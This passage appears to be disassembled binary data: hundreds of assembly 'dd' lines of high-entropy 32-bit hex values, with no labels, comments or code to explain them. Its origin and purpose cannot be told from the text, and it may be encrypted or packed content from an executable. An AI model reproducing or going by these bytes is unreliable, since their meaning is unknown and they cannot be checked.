		dd 116D326h, 472A01C2h,	3523635Dh, 7B9A659Bh, 94E97F42h
		dd 4B245786h, 222C497Fh, 0D543933Bh, 0B98A7E96h, 0AB5AE884h
		dd 0C868603Dh, 0DD895501h, 577D1568h, 0A01ED52Eh, 0ED2DC0B5h
		dd 7BD7C04h, 60FD30E7h,	5A7E685Bh, 542C23BBh, 4C2F011Ch
		dd 9AC7884Eh, 12222630h, 94F4040h, 0F79C3117h, 0A8B82A0h
		dd 59082427h, 0B9516287h, 4C292683h, 49892848h,	515A07B0h
		dd 0FC93F1B5h, 0B612007Bh, 22EE80CDh, 7C95F028h, 8CE984EDh
		dd 0A5C9ACF1h, 4A3D5BFAh, 603F1A00h, 0E38172DEh, 4814752Ah
		dd 9300B76Bh, 0E93E993Bh, 48C0C560h, 0EC05D829h, 1642711h
		dd 5501017Bh, 886C4968h, 4C907430h, 8F8143F2h, 4179B133h
		dd 0E84289F8h, 9B27E918h, 4CB2F6F9h, 912A37Ch, 0EA8660Fh
		dd 3FCDF724h, 3148AA2Fh, 3D3B4D22h, 2D4B7C32h, 8851CD80h
		dd 0B02DE5F9h, 55129558h, 0A64DE923h, 2A9F0B92h, 88257F2h
		dd 0CCF5C96Dh, 505600B5h, 0C42137B8h, 0CD0BBE46h, 0C2B93BDEh
		dd 0CF8EDD13h, 2F3DF5C8h, 698A51D3h, 0C3019ED3h, 46614CDCh
		dd 0EB281E38h, 87591708h, 0C962ED1Ch, 2C4D227h,	755E18C5h
		dd 51555910h, 0DB5CEBCFh, 89AEA796h, 7F6521B8h,	0AE4AB6DAh
		dd 0DE68C320h, 0B74931Eh, 0B077F5B3h, 823301DDh, 2A6E37C1h
		dd 0C676A8D1h, 0CD07ABBEh, 60162860h, 64A58BF1h, 6EE1304Fh
		dd 27C6F280h, 0A3E9493Eh, 15DF062h, 0A86DF6D8h,	0B8F15BD3h
		dd 0A087E51Fh, 0E7BB3CB5h, 0AFA3D6ECh, 0F29CAFD2h, 642B27E9h
		dd 8D0B3352h, 1DB410h, 4EF9D24Eh, 95E978D4h, 770911C4h
		dd 0DC07D74Fh, 494B1278h, 8AAEC50h, 135D037Fh, 3AD93CBDh
		dd 18A37E1Eh, 0EE36959Fh, 7007B802h, 6E403B85h,	150026FFh
		dd 5CC78131h, 0C137E865h, 0E1B9E30Ch, 7D123FEEh, 92C8AD0Ch
		dd 62F40180h, 0E4C0CCFEh, 92108207h, 75557AE9h,	6E564E1Ah
		dd 22A84052h, 0F82BE116h, 94EED365h, 8B25205h, 3109AB39h
		dd 0F7D100C7h, 4C626BB2h, 0FB00F74Bh, 683FD105h, 0F296780Ch
		dd 0B206C06Ah, 3D380960h, 12DD4868h, 546C6482h,	77CD48E0h
		dd 1E6E270Bh, 273D7845h, 15E0ADE9h, 7B1617BFh, 64805BAAh
		dd 5A65B389h, 0EEBAA10Ch, 681C6F4Ch, 0F42F1524h, 344F792Fh
		dd 0B5EAB017h, 0C5304D02h, 5DEC0858h, 0BDA6FA71h, 2BB32F0Bh
		dd 0C4707692h, 27ECF819h, 0A0A9D45Bh, 52687593h, 1E007F7Ch
		dd 0C1080B59h, 250F03E0h, 27A32A53h, 2B45435h, 0FD4F37A9h
		dd 0C0E48BB8h, 0B8DBB9F0h, 0B81B125Fh, 3D030987h, 3F106175h
		dd 3073C9F2h, 9DBE5A70h, 5CC5C5D4h, 0C16B80FBh,	6248593Ah
		dd 1505712Dh, 0FD896747h, 2C58D80h, 0FB1216A5h,	4941BE31h
		dd 4E3E6850h, 97FDF23Eh, 72D42CB8h, 0D8F6B02Dh,	3C80E688h
		dd 0CB89530Bh, 72752262h, 0EC5A4E2Ah, 0EB82F45Fh, 0AFCD2DCh
		dd 88ACB48Ch, 32923EABh, 3161FEDDh, 4D3367FCh, 0AD4DAA4Ah
		dd 0E06E5B3Ch, 5D04B97Eh, 290D8A06h, 0E98A60FFh, 22B16E0Bh
		dd 8A628B3Eh, 6A140565h, 78C34300h, 5A770E40h, 0ED08429h
		dd 72CA6808h, 0E1E963F0h, 8139EE85h, 0B233A83Fh, 61E97E60h
		dd 515F7C68h, 80842DA1h, 1A58F14Bh, 30C15051h, 7E1207E1h
		dd 0B15B93BAh, 23ED0D90h
		dd 0E4372730h, 7D0F32DDh, 4897956Eh, 8226D6CCh,	0ECB86B85h
		dd 892576A9h, 897FDEFAh, 7DD9087Dh, 45203228h, 0E8C00593h
		dd 826F2C07h, 5C057BE6h, 0FB192CEBh, 0F7C7C060h, 9A0D1602h
		dd 92990963h, 0D8290F0Ah, 83A14A78h, 0EF03DD70h, 206E6E12h
		dd 4B10538Ah, 5868138Fh, 0F9662EE4h, 0D95E82C3h, 302CBED2h
		dd 9DEEA079h, 9DFF62Eh,	8A691B6Fh, 0DF81E058h, 618815B4h
		dd 0EBB801E4h, 6B690635h, 215AD404h, 50E3CBEBh,	8FB3318Eh
		dd 25BA7D08h, 17445440h, 929CDB9Dh, 1E38D852h, 250A4B12h
		dd 2FA3012h, 7D970CFFh,	45E503D7h, 2FBD8FE9h, 30016CD8h
		dd 980C1D7Ah, 8E2DAF86h, 4EB78051h, 9F152D22h, 7000BC2h
		dd 0E9DD0159h, 88A0347Ah, 16EEFC30h, 0E1B9A665h, 2FE6E3BEh
		dd 7613F885h, 0C9BC275Eh, 2A37ED49h, 308D6913h,	0A3EB446Eh
		dd 283E5446h, 9227A652h, 40695CBFh, 4B7E6B5h, 78C78027h
		dd 83CBEBCAh, 84ABD259h, 4900EDCBh, 0D7F7F987h,	4D909CDh
		dd 8D247B40h, 59F7638h,	0A5509BEAh, 4038B91Bh, 772AE908h
		dd 0D68096CCh, 0F0982EF1h, 417E5D4Ch, 586F2007h, 77C05E5Eh
		dd 0E295ABF5h, 0E7E93884h, 3D89F3CBh, 0DC352D53h, 9374A5FBh
		dd 0D6ACEA8Bh, 5478CB68h, 1179E135h, 0CB1EA21Ch, 0D101FF8Bh
		dd 57F4960Eh, 0C592E3A5h, 0ABA0DBE9h, 55982768h, 0AE60CB76h
		dd 4E71A630h, 0FC12FE5Fh, 7D54550Bh, 837DED33h,	1BC7824Bh
		dd 4E3784A0h, 350BF74h,	0A2E2D128h, 3B5EA524h, 0D2F74A02h
		dd 3A8BDD52h, 0EE455E60h, 312B0F0Fh, 0FAD23CD7h, 26C18FA9h
		dd 6A93F594h, 5E4ADEE0h, 5EF9A73Dh, 92C1F8B0h, 0B2F9803h
		dd 0E8DC18AEh, 467F1C70h, 8714D92Bh, 5D65571Ch,	0E9276736h
		dd 27EF56EEh, 2D8B655h,	52CAEB80h, 464178B2h, 7F432E2h
		dd 534F7419h, 740A7029h, 494202CFh, 9318E914h, 0BFC16EDFh
		dd 0E9090B71h, 6AEC7C0Ah, 19203A0Fh, 1B4424A0h,	9A9D4B3Dh
		dd 1727ACh, 9C2D3988h, 322974Fh, 0EC541ECh, 0F063C82h
		dd 219B5D5Bh, 0F3814388h, 0ADB2B00Fh, 0EB573F40h, 0E9C4AF1Ch
		dd 0AE1EDD2Eh, 0A49E3518h, 2909CB98h, 804ACD55h, 626A231h
		dd 0E4B617Dh, 6009F9F8h, 489DDDABh, 4D29E915h, 71057DE6h
		dd 817DB440h, 87E1910Eh, 77ABED53h, 0AFC02165h,	4E847EACh
		dd 4175FD44h, 35B45008h, 10013849h, 89072325h, 0E06A576Ah
		dd 0AC055EBAh, 7775BF3Fh, 0F73DAEF8h, 0E4F84Fh,	42163035h
		dd 0F197684Fh, 77396B26h, 17B9A93h, 0AC173590h,	97949F49h
		dd 0E975FCC2h, 682068CAh, 5470130Ah, 13D4AA21h,	0F71511FEh
		dd 3CDE0075h, 76B9EDBBh, 64E34C27h, 0C1758344h,	370C3598h
		dd 0C63A636h, 3E1EC906h, 5E4DB290h, 945D7F2Dh, 83E91060h
		dd 0E0B204D6h, 0BAC2CAFEh, 92795602h, 2558BC9Bh, 0BCA322ACh
		dd 3A80AA9h, 4F7D3462h,	7A1A17D9h, 683A37A6h, 53F1732Fh
		dd 4520578Bh, 5596AEh, 0D76FE32Fh, 87EAE972h, 3D823A9Ch
		dd 0DD64A557h, 0A78049E4h, 912547DEh, 0BBA27D49h, 3DF45859h
		dd 8057B560h, 8BB16EDh,	50CE1DEBh, 0DDF61F7Fh, 200AF54Ch
		dd 0B40CCC03h, 0C5F89906h, 0B3530B09h, 135BFC4Dh, 0D346BCF3h
		dd 2D7500EEh, 481561FDh, 5D3E913h, 2B9A79B9h, 53077756h
		dd 0CF8F3A8Eh, 0EBFCF7DCh, 255A7DE9h, 5AC460ECh, 47514853h
		dd 0F10DD07h, 9CED6A70h, 2335C9F5h, 7202C56h, 71A5E4Ch
		dd 3DE5479Eh, 2B5617CFh, 0A9DBECB8h, 6D9E07F1h,	0C2CCDA8Dh
		dd 37C2206Ah, 9057D725h, 767D0F2Dh, 0CECC5E38h,	0C905C674h
		dd 29245B34h, 80685B1h,	534A050Ch, 0F05F09EFh, 0E40AC695h
		dd 961F7554h, 6928D12Dh, 1570AA84h, 2D3350B3h, 37191F13h
		dd 287C4FBh, 0FCE95F08h, 0F327D85Ch, 515A0DE6h,	0C00FCAF6h
		dd 0F03157F6h, 60CDD15h, 0A2141C53h, 25763B0Dh,	0D1C10C2Dh
		dd 88EFE07Ah, 2425DEB4h, 1DE0C0B8h, 1C491EBBh, 0E44B97C9h
		dd 1F71E2EEh, 4797F4Ch,	71A82092h, 0E99580EFh, 1B95FCBFh
		dd 73049597h, 0AC16DCB9h, 0B0C611BCh, 46CAC102h, 0BC7E70AFh
		dd 7D0A9CBCh, 0C490FC56h, 732501C0h, 0EC4C5E4Dh, 0B0CD087h
		dd 591C8B59h, 0D4DEC40Eh, 0C3B7EEE3h, 9241BC5Bh, 0F98901BBh
		dd 200CE93Ah, 4F16F5CEh, 9C18319Bh, 7111C738h, 4486F191h
		dd 0F08C36A0h, 98D77420h, 9A3D3579h, 8ACF835Bh,	8FB70D3Dh
		dd 6D39F780h, 0E2E07FB0h, 17C2F6D5h, 1DD4204Dh,	0E1802069h
		dd 98BD88EEh, 0B5490381h, 0A82FDEE4h, 0F15D81C4h, 9C606E7Eh
		dd 53764166h, 32C13599h, 7A877C36h, 65AE5F5Ah, 0C21BAD7h
		dd 27236537h, 5814C340h, 7E84812Dh, 4609E7h, 88088523h
		dd 543B539h, 61D0AB9Dh,	4F6975D3h, 0C029C407h, 4764C692h
		dd 1259262h, 6B668BEFh,	4B91788Bh, 0F59FD03Bh, 3937771Ch
		dd 0F5E9481Fh, 0D96A8380h, 58B0A1D1h, 97237A00h, 48AE0D7Dh
		dd 357B1C34h, 4A11C951h, 0F0CA304h, 0F06C0268h,	6C527550h
		dd 1E3D7549h, 0B80B43DBh, 0E04DA7F3h, 72D4BDF2h, 9FCB658h
		dd 819BB6E5h, 0DA64077Bh, 88FA5A17h, 0F76585E5h, 0A9215575h
		dd 3101DC11h, 0C99D7BF8h, 14A947Bh, 4A4144D3h, 42F82B42h
		dd 0E933E096h, 64C9B225h, 5E2EC129h, 6E7DF07Ch,	0DDA961C1h
		dd 2A000B79h, 814C0F55h, 662E02E3h, 0EB0E4682h,	0F3E097C5h
		dd 0E9C09F3h, 0D1546CFCh, 5B40F8A8h, 0FC0FDBEh,	82EBAA1Bh
		dd 5FC5E55Eh, 4DB9E7B8h, 7B2E0E04h, 0F2FACE21h,	25E90CCBh
		dd 2BE8ECBh, 2E31154Eh,	46D5DEF7h, 0B8466963h, 26398700h
		dd 0E92FD3ADh, 27D659A5h, 16F6CEDAh, 9A026B9Fh,	4452443Dh
		dd 0F101C3E0h, 68348F21h, 219D7EF9h, 7AF1A73Dh,	0EE65408Bh
		dd 0D46818DCh, 9891311Ch, 73C98080h, 4AF1382Eh,	4259CA1Eh
		dd 0D4301FEAh, 0D9811B5Fh, 690FFECh, 87A04F85h,	0E3283FFCh
		dd 0BCDAEB3Ah, 0C0FAB4D7h, 0F280BE78h, 0CA00B073h, 3E2C002h
		dd 2F97B151h, 0B10561E9h, 95D7875Bh, 24CAB4E6h,	16E3E844h
		dd 0FAB77796h, 53D7A190h, 0EC4250ACh, 0A211357h, 8C1D8136h
		dd 0C472382Ch, 4A095E9Bh, 29175A80h, 0DEBD0279h, 0D2F74340h
		dd 0F200047Ah, 0A5749E9Bh, 0BE7C2DE9h, 5C9862CEh, 0F8F43277h
		dd 0A66141Eh, 0DF06EE85h, 0B59960E9h, 2630CD76h, 70ED6CB2h
		dd 2AC03065h, 0FED8FC0Ch, 0FFEC2B4Eh, 7B26E90Bh, 0C450F8D4h
		dd 279C9D95h, 3D1796A0h, 0B425CD30h, 96A04839h,	2BB40F18h
		dd 7DE945FDh, 0AEA894F8h, 4FFBFBC8h, 0CD2DAFB4h, 4F5BD7Bh
		dd 74EF1307h, 0CD1E18BCh, 4E9CC941h, 48464E83h,	9668620Bh
		dd 0AD713017h, 39E3162Ah, 27F3E829h, 0D1A82250h, 948525Ah
		dd 6C107D2Fh, 700DC62h,	27786859h, 49EEB6h, 6F0FCD74h
		dd 750D0041h, 51FB93Eh,	0AC3A0386h, 7FF9801Bh, 0AD35132Eh
		dd 0D93627B0h, 0EEF0847Fh, 67BB65D0h, 51974C15h, 0BBE88C13h
		dd 512778Eh, 258E4BB4h,	0B5BE6D7h, 6A6E1767h, 46D03709h
		dd 70AF594Bh, 0B431D90Bh, 1F53948h, 700C18F7h, 177FAAE9h
		dd 7E38EEBEh, 4F3F9257h, 61EE54h, 413AE659h, 4C2D5276h
		dd 1086E73h, 745B1829h,	77132A65h, 0DCF0463Ch, 0B8569D01h
		dd 4E036850h, 1E83227h,	0B80C4770h, 400F303Ah, 36EC4DB5h
		dd 808BFB22h, 814A62C2h, 147078DEh, 17C7BDF2h, 931145ADh
		dd 0AB3DEF5Bh, 12CBB67Ah, 39BF2B1Dh, 89C12FF5h,	0F768BEE9h
		dd 0F931661Dh, 8C8579CCh, 55598CB3h, 2B9E5AFCh,	0C8010Bh
		dd 8F14DC13h, 0E9C14024h
		dd 8292F3E8h, 0D724EB77h, 0C5929974h, 5D72B201h, 0D5E1588Fh
		dd 0C6C77889h, 2929756h, 7389601h, 0E16A3437h, 71A83E85h
		dd 11075E92h, 16EE054Ah, 2D832922h, 5A1DECB9h, 325EB333h
		dd 0B0F50072h, 9D4BD926h, 14643CD4h, 62BDD20Eh,	0F1E50E5Ah
		dd 76F94D9h, 80FE2838h,	2095EE80h, 8E8F14Ah, 132EF226h
		dd 689261BEh, 0B20D009Bh, 11AC012Ch, 62976135h,	66F32BDAh
		dd 254431C1h, 0CDCB7E40h, 281A6809h, 1992A630h,	35394B00h
		dd 502F17E3h, 0DD81EF7h, 3128BBEDh, 0C03DD1A7h,	10869524h
		dd 0EBF05B37h, 3C20F783h, 667340E3h, 4F1C55B2h,	0D01F722Ch
		dd 2E8F6DFAh, 14C8EA6h,	43B55165h, 5059D828h, 295590A1h
		dd 7B6A204Bh, 0A00227FEh, 9AF6E74Eh, 0F12D0BBCh, 2456E61Eh
		dd 5F17099Fh, 14EEDB48h, 215E4212h, 0F6107CF9h,	685804D3h
		dd 9ED85AA1h, 9671732h,	92580374h, 3210B336h, 2C009714h
		dd 0D8285AA2h, 564B4668h, 480448E3h, 84E92204h,	74F4AE37h
		dd 7366795Ch, 1732CBF9h, 0F889AEDBh, 4E12F7B1h,	68131A50h
		dd 16623EEBh, 0D510EA9Ch, 5EB545FAh, 0F17F18E6h, 11BB5E52h
		dd 56680A3Ch, 0EAC7FC15h, 75786E92h, 0B9513340h, 1914D50Bh
		dd 5CDD00Dh, 0E905A877h, 0BFB44269h, 0E9423FACh, 7B9FA780h
		dd 0E9137A25h, 0C0F84399h, 7972EFD7h, 0BD667777h, 54396816h
		dd 21F4F9F8h, 7BEC685Ah, 0ADD36AECh, 1BB992B1h,	0C46652D7h
		dd 61E582E8h, 5062794Ah, 8E820379h, 0DD3CA969h,	77159FB3h
		dd 2C236E9h, 0B0701ABDh, 0E807F730h, 0F10DE43h,	0AE621BEFh
		dd 0B82DF54h, 562C5855h, 420635A0h, 31D64017h, 0D84398C1h
		dd 0F75A08AAh, 69799AC0h, 822C7FC7h, 0B56B78Ah,	0ECDAD2BAh
		dd 0B060F3EEh, 8F62D86h, 0E88F9025h, 0FB558265h, 519C3E51h
		dd 0BA5D27D8h, 49C55C17h, 0E3C28654h, 24F11A1Ch, 79A1EE81h
		dd 0B53F22A3h, 0AD08041Dh, 706611E4h, 0F66ADD41h, 6215C968h
		dd 7F165564h, 0DE9E2991h, 0E7E9F382h, 249464A3h, 82CAD5C7h
		dd 29F4684Ah, 5E61CE74h, 60F64C42h, 2F2F194Dh, 0ED5365Ch
		dd 7F4B7DDDh, 4107A418h, 0FBBBDB83h, 7076EACAh,	0F6801362h
		dd 81DFAF8h, 0C432C68Fh, 0FEF4B2ECh, 0E37C179Dh, 0BA84AF51h
		dd 6AC10857h, 2D80308Ch, 0CFADA3C7h, 0D200054Ah, 2D3CE70Dh
		dd 4F5468EAh, 5E9E13Fh,	8BB10107h, 6A286333h, 0B80ED098h
		dd 9722FB5h, 4D4BF6F8h,	7AB8E500h, 950E8851h, 31200650h
		dd 500F20FEh, 49C02D05h, 0D8A03638h, 25031291h,	4EC00145h
		dd 3EFBE91Eh, 58641F87h, 56F48697h, 72A288A8h, 0FB27257Ch
		dd 0A89A4580h, 0FD5182C5h, 6DA98415h, 0BF8794BEh, 27E97738h
		dd 68C5A058h, 286FDC08h, 55570887h, 2CBF116Dh, 29890209h
		dd 0C2CF84D9h, 20B1F3AAh, 3573B789h, 0C31CF5A5h, 903DD3BDh
		dd 5D5EA202h, 326252D1h, 0FA3103AFh, 24F981B9h,	6C0FEB66h
		dd 6B40C556h, 68C47687h, 673101C2h, 0FD4217EFh,	0D07BA537h
		dd 4E35F047h, 0DD8BB83Bh, 0F3088D31h, 7AF12D3Ah, 3A39F5E8h
		dd 52A0CB80h, 0D3E91DB2h, 8FD4819Dh, 0E37A3042h, 9B1FD699h
		dd 574B2620h, 0FADB1630h, 0B7A292Dh, 0B55CACB0h, 0D7F244E2h
		dd 5D4BCC14h, 5F5AE205h, 7F1501FFh, 6F21380Dh, 196ABA3h
		dd 0B51A65EEh, 5AC26807h, 51C9A8E8h, 0FCD54CDFh, 8D584FA6h
		dd 0EDF62FEDh, 70802D05h, 283DF85Dh, 61F80705h,	0A2B5513h
		dd 0CB13180Ah, 81905167h, 0BF731F3Ah, 607BB2B0h, 3A50EF96h
		dd 171CB7E8h, 0E708E690h, 61F7E58h, 2077D8E9h, 0A707B43Bh
		dd 574AE2B2h, 0CDB7BE4Eh, 0AE2C387Bh, 706860F8h, 30ED7C64h
		dd 275F8433h, 0B6A73899h, 43800E42h, 78FB7617h,	60712C8h
		dd 2441686Bh, 5250E379h, 0B397D3E2h, 24728276h,	266A1814h
		dd 919BB575h, 8AE8C9CAh, 7DEEF1F7h, 58ECF45Dh, 42497FA4h
		dd 0CE810102h, 6BBF12E4h, 0B793DC20h, 0CB896CB0h, 1315C4B5h
		dd 4417D39h, 1392C560h,	0DE7C05AFh, 74D9EBE7h, 92AFED3Ah
		dd 0B851C0E0h, 121E58A7h, 0FE702084h, 0A22E979Dh, 20A09FF8h
		dd 0B03EC320h, 0C03FFECEh, 88E8E4E8h, 5103BB52h, 8E42121Eh
		dd 560D1F0Ch, 6A612F3Bh, 4913396h, 67542990h, 796186C7h
		dd 0A53A1BADh, 9C0805AAh, 314A972Ah, 0BD02B1F7h, 0E7C5737h
		dd 45005376h, 0AFE9317Eh, 0ABF7D39Fh, 0DFD3757h, 1FE00EE4h
		dd 90CEBA13h, 683A285Bh, 4658CB27h, 0CC332A39h,	0BA56F021h
		dd 80BE049Eh, 0BAF8AC7Bh, 7D92B592h, 0E8C32720h, 174AD193h
		dd 0D9006EC4h, 1C7E50F1h, 0B18E32E9h, 99C1D853h, 64D4C601h
		dd 0F5225540h, 5FDBCB1Ch, 68043BE5h, 4EA8460Bh,	851909B5h
		dd 77EB605Eh, 8275B02h,	0FE3AE05Fh, 7E8076CDh, 20629043h
		dd 5E4E0E48h, 0A7BA14C4h, 815C0034h, 0BD7FD2F3h, 85E92F1Bh
		dd 3E5B2661h, 0BAB678A8h, 44656812h, 1BC962ECh,	5D9EE2FFh
		dd 0F1310734h, 0B55125B1h, 44BA85CBh, 166F3E82h, 7DD5C407h
		dd 20C69A6h, 0C5AC567h,	0E8F0E8E9h, 1AC8312Fh, 0C3AED69Ah
		dd 620FB2CAh, 131A75BFh, 138FF5E0h, 1C816E5h, 0E44D2416h
		dd 3C74F95Dh, 0EF0118A1h, 81825E10h, 985BBC66h,	54EABADh
		dd 0C2ED272Dh, 91810058h, 0BD903AB0h, 39F07827h, 31862D34h
		dd 2A09CA42h, 0F87FE915h, 346F13E9h, 49E763CCh,	0D29D3B35h
		dd 96F3EDEBh, 0BF354D18h, 0B03A3E3Bh, 0AAE78182h, 2E605537h
		dd 5A2487EFh, 0AD3F846Eh, 0A6C15317h, 5B3200CAh, 0CA812046h
		dd 9962BC16h, 0E8ADE06h, 7CAC1399h, 9459C594h, 0B38EEEADh
		dd 2A89BD4Fh, 459F8825h, 48CA8A4Ch, 89ECA562h, 2E4CEB59h
		dd 20137C50h, 9DF89325h, 4810B250h, 0F7B0F458h,	0B3A2205Fh
		dd 812E1A0Ch, 0C2073005h, 0B40491E3h, 0FE1798E1h, 4E16CC36h
		dd 318746A7h, 0EF0BF311h, 8018E663h, 21C5E238h,	0F70B02CBh
		dd 0D13BE9D2h, 90056C7Fh, 41C35F08h, 6A4DC183h,	21AD4079h
		dd 740B7A78h, 922DBCE9h, 0CCD18476h, 0D425FE13h, 5D1F8BBBh
		dd 55949F15h, 0AE68C2DFh, 30ECD512h, 99EAE910h,	45B95101h
		dd 2A5D3A38h, 81003CE2h, 0DB9DF9F1h, 0CE2F09BEh, 0ED478259h
		dd 0FD6801F2h, 7B982E77h, 2DD32505h, 3B02EA81h,	1AB2001Dh
		dd 0E9170A03h, 27DCC08h, 7532307Ch, 5D57F460h, 62B3312Ch
		dd 0F129943Ah, 0D8D127E2h, 916D3226h, 497CC14Ah, 60E58A7h
		dd 12F9721h, 8B0228F9h,	4F460663h, 2DA25D47h, 9576EC8Ah
		dd 2FD9B588h, 4908C5FCh, 6A7E30B8h, 417B114Ch, 0A3C09B5Ah
		dd 97F932Dh, 0C689B727h, 4072584h, 0C7EF3804h, 7FB34BD2h
		dd 0B2F3D883h, 0EB68EFE0h, 9AF35C4Bh, 0EDC0DB03h, 22F15307h
		dd 0C06D3C50h, 8AC180A1h, 6AB62652h, 5DAE1E61h,	0ED1F3ECDh
		dd 0B7F5C221h, 255EE30h, 812079C6h, 639DE9C6h, 740D292Eh
		dd 7BEB687Dh, 4F2016D8h, 38F13708h, 3DCC5DE9h, 0F84FF69Dh
		dd 0C21CBD55h, 0E9872E3Ah, 0DD0BB67Eh, 5B9000E8h, 0AD7AE23Eh
		dd 5D826265h, 0FBC19043h, 581097BCh, 6E7437EDh,	7DEA12ACh
		dd 39041DB0h, 0BAAF6A3Eh, 11A96EC3h, 850ABCA9h,	640A309Ch
		dd 123775F0h, 0F832D94Ch, 0D8A0738Ch, 8265C1h, 52503CEFh
		dd 62E5F63Dh, 3664EB76h, 0F15A966Ch, 0AD5FA1A8h, 3914C8DFh
		dd 33A0E720h, 702613F7h, 59069C3Fh, 90D9B3Eh, 72960A89h
		dd 0FE032C80h, 0E912CDEFh, 74BFB1B7h, 149B024Bh, 0A2602D78h
		dd 0C00B05C5h, 7F010CD6h, 2D051E46h, 543D71C1h,	0D9A83985h
		dd 21462503h, 47A87372h
		dd 403AE63h, 0C27CD405h, 56FD1213h, 38B6F3A4h, 710D2F68h
		dd 4A2A619h, 0A2CC39E9h, 2349BCDh, 0BD4892E8h, 6CF23179h
		dd 0BC525830h, 98E0EA0h, 107A6866h, 2842181Ah, 87FFEC29h
		dd 0DA0B6440h, 3F7C0BF9h, 16777DBDh, 6293945Eh,	97C7C48h
		dd 552ED087h, 2C76F69Bh, 4F6903EBh, 0E5B07BCBh,	3EEB23D8h
		dd 30DE4580h, 0A4775E3Ah, 7DF6EBF4h, 0AC4DF72Eh, 2454BA01h
		dd 41F3013Ah, 1CA0081Ch, 0F05D4E14h, 0A840AB34h, 80E103D0h
		dd 0D1F6D2F1h, 0D60E0467h, 0CAA425A9h, 0D623CBB4h, 2C5C812Eh
		dd 0BDD82B21h, 5901403Bh, 3ABA575Fh, 0FBB0284h,	577AC3C0h
		dd 0F931B560h, 0E1C15F7Eh, 5168C8C5h, 4C50A620h, 4EC1038Ah
		dd 2B025E75h, 92305129h, 9E3C060Dh, 7C4E460Bh, 0E21E8A01h
		dd 3E7068C3h, 0C83FC151h, 5DEA5180h, 2965AA03h,	96FE29Dh
		dd 965DD08h, 4EECC396h,	0E9B37442h, 18775BFAh, 80F857F7h
		dd 0F2774B8h, 868ED593h, 0BF0BC473h, 0C0D3C6A3h, 3855BC64h
		dd 68575F00h, 796E7AB1h, 84EE4BE9h, 3F4A7DC2h, 0ED3EAACDh
		dd 660B9642h, 971A5BD4h, 7D39FF53h, 0D05468A5h,	0FF23E98Bh
		dd 0F57708AFh, 0E3DC03A3h, 0A82D1600h, 296A6779h, 525501F8h
		dd 0A6435468h, 1F0F2B0Ch, 0AB34A017h, 99EE4EE9h, 0D37A10D5h
		dd 0F6538612h, 0E68CD146h, 7CBC2729h, 0FEB55BCCh, 5CEA601Bh
		dd 2B5F0C4Eh, 841CAADh,	0EA9CD87Eh, 450DB4C4h, 0C7818DD0h
		dd 1FC87507h, 96788A05h, 438EE118h, 0C1E59C91h,	2EC4C3A2h
		dd 30B212ECh, 753C4A7Fh, 0E9502CF1h, 443AEB5Eh,	52D3EABCh
		dd 805420Ch, 0E394C35Bh, 43DB323Bh, 0FECB0E0Fh,	0DBF7C73Ch
		dd 58D387F3h, 0DA17CA0Ch, 0BBFC5FC9h, 2409AFA5h, 464584F7h
		dd 4A690D80h, 0EF184F84h, 43A6A906h, 0F2425C81h, 9F68F905h
		dd 0F5A10047h, 52408D20h, 0EFD95E50h, 0F470310Dh, 95066054h
		dd 50F6B511h, 720EE9C2h, 0BBA2BDC0h, 56E14819h,	0EE0F2BC1h
		dd 9724C1BDh, 0B47F0907h, 0F6B5511Bh, 0D590540Bh, 0E201FD1Dh
		dd 0CF6E7865h, 0CEA17A64h, 81D33147h, 5ECBC3ACh, 0F3D8226Ch
		dd 0D8BC04EEh, 42DA8964h, 571F15E9h, 5E7F3422h,	2C9BA0D7h
		dd 495768F5h, 2810903Ch, 18E45A52h, 8578B73Eh, 662ED0F8h
		dd 629D915Ah, 26491A6h,	607329F4h, 92CDCBFDh, 44480E2Eh
		dd 1C6F0055h, 41351B16h, 904AEE46h, 7EF1482Bh, 3A768C2h
		dd 0F22CC655h, 30185E3Ah, 0D6C65E0h, 3BB96D13h,	7F87900Bh
		dd 0F9C17A40h, 1561231Dh, 241D10AEh, 3F001CD6h,	53442F1Ah
		dd 0F1F94021h, 1055090Ch, 2FE3611h, 68FDEBADh, 19555791h
		dd 82640B50h, 0E068FF21h, 4C9AE8A5h, 474B0189h,	6F298A16h
		dd 0F91D46Fh, 2DBC62B2h, 54C9E5D1h, 3768C13Bh, 21BF5163h
		dd 0E33500A4h, 10F50022h, 0C158C609h, 0FDA002E6h, 3B277237h
		dd 0CF3A6831h, 0C158810Dh, 0B050E4D1h, 0FB0C301Fh, 0F228C289h
		dd 0ED9B019Ah, 895B3987h, 2F6F66DDh, 0C264FC31h, 10905F53h
		dd 46799F2Dh, 416D374Ch, 0EC0804AAh, 0BAC0126Dh, 2E149CBBh
		dd 53B9175Bh, 12B7B984h, 4EB707BFh, 0DC42BB8Ah,	2B0641h
		dd 3DD9DCBDh, 0BE1A7FD0h, 3BAF43A2h, 11F0D52Bh,	78D274B5h
		dd 0AAA9B6DBh, 6D927A06h, 0FAE5572Ch, 0A908C7ACh, 0ADAD1475h
		dd 0D9609C04h, 0FB4E8126h, 0A0EE049Ah, 0B538ADC9h, 0ED76CCFFh
		dd 53CD7120h, 920F03h, 0DFC0DA4Fh, 0F03E0109h, 842D528Bh
		dd 0C9EC49E9h, 33B70928h, 0C35514ACh, 0D05F20C8h, 0ADDE293Eh
		dd 0FD18556Ch, 68BFEDB7h, 9758C145h, 7C9CA79h, 7005D07Dh
		dd 62470CEAh, 0F4728616h, 512EE779h, 81403CF2h,	0A1063834h
		dd 5AC0BFE1h, 0A807B743h, 0DBA8BEEBh, 49CC053Bh, 56F08C3Eh
		dd 6D00BD7Ch, 0DA0E20BFh, 0F7811A01h, 53917796h, 3C89BD40h
		dd 25D0985Ch, 7F9B45C9h, 473F6C9h, 6EC5DCAAh, 0BC080B44h
		dd 0DFB2D4Dh, 8AFE5F12h, 0DA2E1043h, 8DDF716h, 5027C276h
		dd 0BFFAFED7h, 0A8597904h, 9D68A0CEh, 6F369639h, 45AD1F6Dh
		dd 4C1BB70h, 0DC6FCFDDh, 2BD5406h, 774BB975h, 0F7262A47h
		dd 621F425h, 154653E9h,	0A0DAEA81h, 990BF7DDh, 7F53FC2Ah
		dd 804EBC2h, 4050CB59h,	3604EBD7h, 6EE90E9Ch, 905587E0h
		dd 548E0CDFh, 0E3186D1Bh, 0F025C4B7h, 24EB5B87h, 0A8F301A1h
		dd 63B2920h, 4C8A0B74h,	0A6C23E94h, 6E0D8257h, 0DE66C075h
		dd 0C6312B5Bh, 0C5E98470h, 2F3788F0h, 44C1191Eh, 97DFE1CAh
		dd 0ED6C7D6Bh, 5A1FD20h, 8B285A68h, 5B40CB5Eh, 8BFCA1C5h
		dd 0CF07B01h, 2868FE9h,	5825F29h, 270A9436h, 38BC4717h
